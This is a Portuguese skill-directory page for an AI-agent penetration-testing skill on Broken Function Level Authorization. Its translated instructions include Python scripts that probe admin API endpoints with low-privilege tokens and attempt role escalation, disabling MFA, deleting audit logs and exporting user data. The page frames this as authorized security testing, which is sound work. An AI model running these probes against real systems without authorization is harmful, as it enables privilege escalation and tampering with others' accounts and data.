Pular para o conteúdo
Skillpedia
Diversos35 mil · #5739

exploiting-broken-function-level-authorization

Permite que seu agente teste APIs para verificar se usuários comuns podem acessar funções administrativas. Ele tenta acessar endpoints protegidos com credenciais de baixo privilégio.

O que ela faz

Esta ferramenta verifica se usuários comuns conseguem acessar funções ou áreas restritas de um site ou aplicativo, como se fossem administradores. Ela tenta burlar as regras de segurança para ver se encontra falhas.

Quando usar

  • ✓Quando você quer ter certeza de que usuários normais não podem fazer coisas de administrador.
  • ✓Ao testar se as regras de acesso a funções da API estão funcionando corretamente.
  • ✓Para verificar se a documentação da API não revela caminhos secretos para áreas de admin.

Exemplo do que pedir para a IA

“Verifique se um usuário comum pode acessar o painel de administração da API.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-broken-function-level-authorization/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-broken-function-level-authorization/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta acessar caminhos e funções que geralmente são restritos a administradores. Ela faz isso mudando métodos de requisição, caminhos ou dados enviados, usando credenciais de usuário comum.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-broken-function-level-authorization

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-broken-function-level-authorization/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Autorização Quebrada em Nível de Função

Quando Usar

  • Testar se usuários regulares podem acessar endpoints de API administrativos por acesso direto à URL
  • Avaliar APIs para escalonamento vertical de privilégios onde usuários podem invocar funções acima de sua função
  • Avaliar se gateways de API e middleware aplicam consistentemente controles de acesso em nível de função
  • Testar a implementação de controle de acesso baseado em função (RBAC) em todos os endpoints de API e métodos HTTP
  • Validar que a documentação da API não expõe caminhos de endpoint de administrador que carecem de autorização

Não use sem autorização por escrito. Testes de BFLA envolvem tentar executar funções administrativas com credenciais não autorizadas.

Pré-requisitos

  • Autorização por escrito especificando a API alvo e as funções administrativas em escopo
  • Contas de teste em múltiplos níveis de privilégio: usuário regular, moderador, administrador, super-administrador
  • Documentação da API (especificação OpenAPI/Swagger) que pode listar endpoints de administrador
  • Burp Suite Professional para interceptação e manipulação de requisições
  • Python 3.10+ com a biblioteca requests
  • Conhecimento de convenções comuns de nomenclatura de endpoints de administrador

Fluxo de Trabalho

Etapa 1: Descoberta de Endpoints Administrativos

import requests
import itertools

BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}

# Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
    "/api/v1/admin",
    "/api/v1/admin/users",
    "/api/v1/admin/settings",
    "/api/v1/admin/config",
    "/api/v1/admin/logs",
    "/api/v1/admin/dashboard",
    "/api/v1/admin/reports",
    "/api/v1/admin/billing",
    "/api/v1/manage",
    "/api/v1/management",
    "/api/v1/internal",
    "/api/v1/internal/users",
    "/api/v1/system",
    "/api/v1/system/health",
    "/api/v1/console",
    "/api/v1/users/admin",
    "/api/v1/roles",
    "/api/v1/permissions",
    "/api/v1/audit",
    "/api/v1/audit/logs",
    "/api/internal/",
    "/admin/api/",
    "/management/api/",
    "/backoffice/api/",
]

# Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
    ("POST", "/api/v1/users", {"role": "admin"}),             # Create user with admin role
    ("PUT", "/api/v1/users/1/role", {"role": "admin"}),        # Change user role
    ("DELETE", "/api/v1/users/1002", None),                     # Delete another user
    ("POST", "/api/v1/settings", {"maintenance": True}),       # Modify system settings
    ("GET", "/api/v1/users?role=admin", None),                  # List admin users
    ("POST", "/api/v1/export/users", None),                     # Export user data
    ("POST", "/api/v1/users/1002/disable", None),               # Disable user account
    ("POST", "/api/v1/users/1002/reset-password", None),        # Force password reset
    ("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
    ("DELETE", "/api/v1/audit/logs", None),                     # Delete audit logs
]

# Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
    for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
        try:
            resp = requests.request(method, f"{BASE_URL}{path}",
                                  headers=regular_user_headers, timeout=5)
            if resp.status_code not in (401, 403, 404, 405):
                print(f"  [ACCESSIBLE] {method} {path} -> {resp.status_code}")
        except requests.exceptions.RequestException:
            pass

Etapa 2: Teste de Função Baseado em Papel

# Definir papéis e seus níveis de acesso esperados
ROLES = {
    "unauthenticated": {},
    "regular_user": {"Authorization": "Bearer <regular_token>"},
    "moderator": {"Authorization": "Bearer <moderator_token>"},
    "admin": {"Authorization": "Bearer <admin_token>"},
}

# Endpoints com requisito mínimo de papel esperado
ROLE_MATRIX = [
    # (method, endpoint, body, minimum_role)
    ("GET", "/api/v1/users/me", None, "regular_user"),
    ("GET", "/api/v1/users", None, "admin"),
    ("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
    ("DELETE", "/api/v1/users/1002", None, "admin"),
    ("GET", "/api/v1/admin/settings", None, "admin"),
    ("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
    ("GET", "/api/v1/reports/financial", None, "admin"),
    ("POST", "/api/v1/users/1002/ban", None, "moderator"),

…
Perguntas frequentes

O que é 'Broken Function Level Authorization'?

É uma falha de segurança onde um usuário com pouca permissão consegue executar ações ou acessar dados destinados a usuários com mais privilégios (como administradores).

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização por escrito antes de testar qualquer API. Tentar acessar funções administrativas sem permissão é ilegal.

Quais ferramentas preciso para usar?

Você precisará de contas de teste com diferentes níveis de acesso (usuário, admin), a documentação da API (se disponível) e ferramentas como Burp Suite e Python com a biblioteca 'requests'.

Detalhes

Descrição original do autor

Tests APIs for Broken Function Level Authorization (OWASP API5:2023) by identifying admin and privileged endpoints, then reaching them with regular-user credentials via HTTP method switching, URL path manipulation, and parameter tampering. Use when testing whether low-privilege users can invoke admin API functions or otherwise escalate privileges via function-level access control gaps.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5739
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas